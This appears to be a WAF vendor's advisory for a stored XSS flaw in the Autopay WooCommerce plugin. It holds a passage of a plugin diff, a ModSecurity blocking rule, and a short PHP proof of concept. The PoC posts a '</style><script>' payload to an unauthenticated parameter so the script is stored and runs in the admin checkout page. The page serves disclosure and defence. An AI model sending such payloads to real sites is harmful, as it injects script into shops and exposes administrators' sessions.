+							$GLOBALS['hide_save_button'] = true; // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- WooCommerce admin convention for hiding the default save button.
 						} );
 					add_action( 'woocommerce_after_settings_checkout',
 						function () {
-							$GLOBALS['hide_save_button'] = false;
+							$GLOBALS['hide_save_button'] = false; // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- WooCommerce admin convention for hiding the default save button.
 						} );
 				}
 			} )
@@ -73,11 +75,11 @@
 					if ( get_locale() === 'pl_PL' ) {
 						add_action( 'woocommerce_settings_checkout',
 							function () {
-								$GLOBALS['hide_save_button'] = true;
+								$GLOBALS['hide_save_button'] = true; // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- WooCommerce admin convention for hiding the default save button.
 							} );
 						add_action( 'woocommerce_after_settings_checkout',
 							function () {
-								$GLOBALS['hide_save_button'] = false;
+								$GLOBALS['hide_save_button'] = false; // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- WooCommerce admin convention for hiding the default save button.
 							} );

 						$vas_content = ( new Vas() )->get_vas_content();
@@ -86,7 +88,7 @@
 								'vas_content' => $vas_content,
 								'title'       => $tabs->get_active_tab_name(),
 								'subtitle'    => __( 'Use the services of official and verified Autopay partners!',
-									'bm-woocommerce' ),
+									'platnosci-online-blue-media' ),
 							] );
 					}
 				}
@@ -137,18 +139,18 @@
 			case Settings_Tabs::AUTHENTICATION_TAB_ID:
 				$section_title    = $tabs->get_active_tab_name();
 				$section_subtitle = __( 'Turn on sandbox mode or accept real payments.',
-					'bm-woocommerce' );
+					'platnosci-online-blue-media' );
 				break;

 			case Settings_Tabs::ADVERTISING_SERVICES_TAB_ID:
 				$section_title    = $tabs->get_active_tab_name();
 				$section_subtitle = __( "The Ad services is a comprehensive solution that enables merchants to effectively promote their products directly from the shop's administration panel. The service is fully integrated with WooCommerce which allows the automatic creation of advertising campaigns tailored to the shop's product range, customers' purchase history and analysis of their preferences. This option is available only for stores with a single active currency.",
-					'bm-woocommerce' );
+					'platnosci-online-blue-media' );
 				break;
 			case Settings_Tabs::PAYMENT_SETTINGS_TAB_ID:
 				$section_title    = $tabs-

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-15002
# This rule targets the unauthenticated stored XSS vulnerability in the Autopay plugin.
# The vulnerability is triggered by a POST request to the home page (or any page that
# triggers the 'init' hook) with a 'bm_woocommerce_css_editor_content' parameter.
# The rule blocks requests that attempt to break out of the <style> tag, which is the
# core of the XSS payload.
SecRule ARGS_POST:bm_woocommerce_css_editor_content "@rx </style" "id:202615002,phase:2,deny,status:403,chain,msg:'CVE-2026-15002 via Autopay CSS editor',severity:'CRITICAL',tag:'CVE-2026-15002'"
  SecRule ARGS_POST:bm_woocommerce_css_editor_content "@rx <script" "t:lowercase,chain"
    SecRule REQUEST_URI "@streq /" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15002 - Autopay <= 5.0.0 - Unauthenticated Stored Cross-Site Scripting via 'bm_woocommerce_css_editor_content' Parameter

/**
 * CVE-2026-15002 PoC: Unauthenticated Stored XSS in Autopay plugin.
 * This script demonstrates how to inject a malicious script into the WordPress
 * options table via the vulnerable 'bm_woocommerce_css_editor_content' parameter.
 */

// --- Configuration ---
$target_url = 'http://your-wordpress-site.com'; // Set the target WordPress site URL

// The XSS payload to inject. This payload will be stored and executed on the checkout page.
$payload = '</style><script>alert(document.cookie)</script>';

// Path to the script that triggers the 'init' hook. The root path is sufficient.
$attack_url = $target_url . '/';

// --- Initialize cURL ---
$ch = curl_init();

// --- Set cURL options ---
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
// Include the malicious payload in the vulnerable parameter.
// The lack of nonce and capability checks allows unauthenticated access.
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'bm_woocommerce_css_editor_content' => $payload
));
// Follow redirects in case the site redirects to a canonical URL.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Ignore SSL certificate verification if site uses self-signed cert (use for testing only).
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// --- Execute the request ---
$response = curl_exec($ch);

// --- Check for errors ---
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

// --- Close cURL ---
curl_close($ch);

// --- Output result ---
echo "[+] Exploit request sent successfully to: {$attack_url}n";
echo "[+] Payload: {$payload}n";

// Note: The success of the exploit is not directly visible in this response.
// The script is now stored in the 'woocommerce_bluemedia_settings' option.
// It will execute when an administrator visits the WooCommerce checkout page.
echo "[!] Check the WooCommerce checkout page to confirm script execution.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.